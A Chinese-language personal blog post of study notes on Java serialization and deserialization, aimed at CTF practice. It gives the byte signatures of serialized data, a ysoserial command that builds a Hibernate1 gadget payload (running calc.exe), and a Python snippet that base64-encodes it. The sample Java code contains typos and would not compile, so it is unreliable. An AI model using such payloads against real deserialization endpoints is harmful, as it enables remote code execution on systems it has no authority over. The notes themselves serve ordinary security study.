• 首页

  • 文章归档

  • 默认分类

  • 关于页面
小 虎 8 7 2 8
小 虎 8 7 2 8

xiaohu_8728

这里通过后台 用户-个人资料-个人说明 来设置

07月
07
学习笔记分享

Java序列化与反序列化

发表于 2021-07-07 • 字数统计 2073 • 被 596 人看爆

java序列化与反序列化过程

位置:jva.io.ObjectOutputStream java.io.ObjectlnputStream

Java 序列化是指

​ 把 Java 对象转换为字节序列的过程ObjectOutputStream类的 writeObject() 方法可以实现序列化

​ 注:该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中按java的标准约定是给文件一个.ser扩展名。

Java 反序列化是指

​ 把字节序列恢复为 Java 对象的过程ObjectInputStream 类的 readObject() 方法用于反序列化。

​ 注:该方法从一个源输入流中读取字节序列,再把他们反序列化为一个对象,将其返回。

实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的
(用transient关键字修饰的属性除外,不参与序列化过程)
java序列化&反序列化代码

package SerialTest;

import java.io.*;

public class SerializableTest{
    public static void main(String[] args) throws Exception{
        serialPerson();
        Person person = deserialPerson();
        System.out.println(person);
    }
    /*Person对象序列化   @throws IOException*/
    perivate static void serialPerson() throws IOException{
        Person person = new Person(name:'xiaodi',age:28,sex:'男',stuid:101);
        
        ObjectOutputStream oos = new ObjectOutputStream(
        	new FileOutputStream(new File(pathname:"d:/person.txt"))
        );
        oos.writeobject(person);
        System.out.println("person对象序列化成功!");
        oos.close();
    }
    
    /*Person对象反序列化  @return   @throws Exception*/
    private static Person deserialPerson() throws Exception{
        ObjectInputStream ois = new ObjectInputStream(
        	new FileInputStream(new File(pathname "d:/person.txt"))
        );
        Person person = (Person)ois.readObject();
        System.out.println("person 对象反序列化成功!");
        return person;
    }
}

下方的特征可以作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密数据。

或者如果以aced开头,那么他就是一段java反序列化的16进制。

案例练习平台:

网鼎杯2020 thinkjava

WebGoat_javaweb

攻击如何构造payload:

反弹shell

ysoserial工具:

利用该工具生成payload:

"C:\Program Files\Java\jdk-11\bin\java.exe" -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-d367e379d9-1.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin

文件base64加密:

import base64
file = open("text.bin","rb").read()
ba = base64.urlsafe_b64encode(file)
open("text.txt","wt",encoding="utf-8").write(ba.decode())
分享到:
phpstrom + xdebug 断点调试
i am back
  • 文章目录
  • 站点概览
xiaohu_8728

网红 xiaohu_8728

你能抓到我么?

Github QQ Email RSS
最喜欢的作品
最喜欢的游戏
最喜欢的音乐
最喜欢的图书
最喜欢的动漫
火影忍者
这是一段示例文案,222,222,222,请您按照自己需要展示的内容进行修改
曾经我也想过一了百了
这是一段示例文案,444,444,444,请您按照自己需要展示的内容进行修改
这是一段示例文案,555,555,555,请您按照自己需要展示的内容进行修改
看爆 Top5
  • 做frp踩的坑 999次看爆
  • 2020网鼎杯share 722次看爆
  • 佛系更新喽! 706次看爆
  • i am back 621次看爆
  • Java序列化与反序列化 597次看爆

Copyright © 2023 xiaohu_8728

由 Halo 强力驱动 · Theme by Sagiri · 站点地图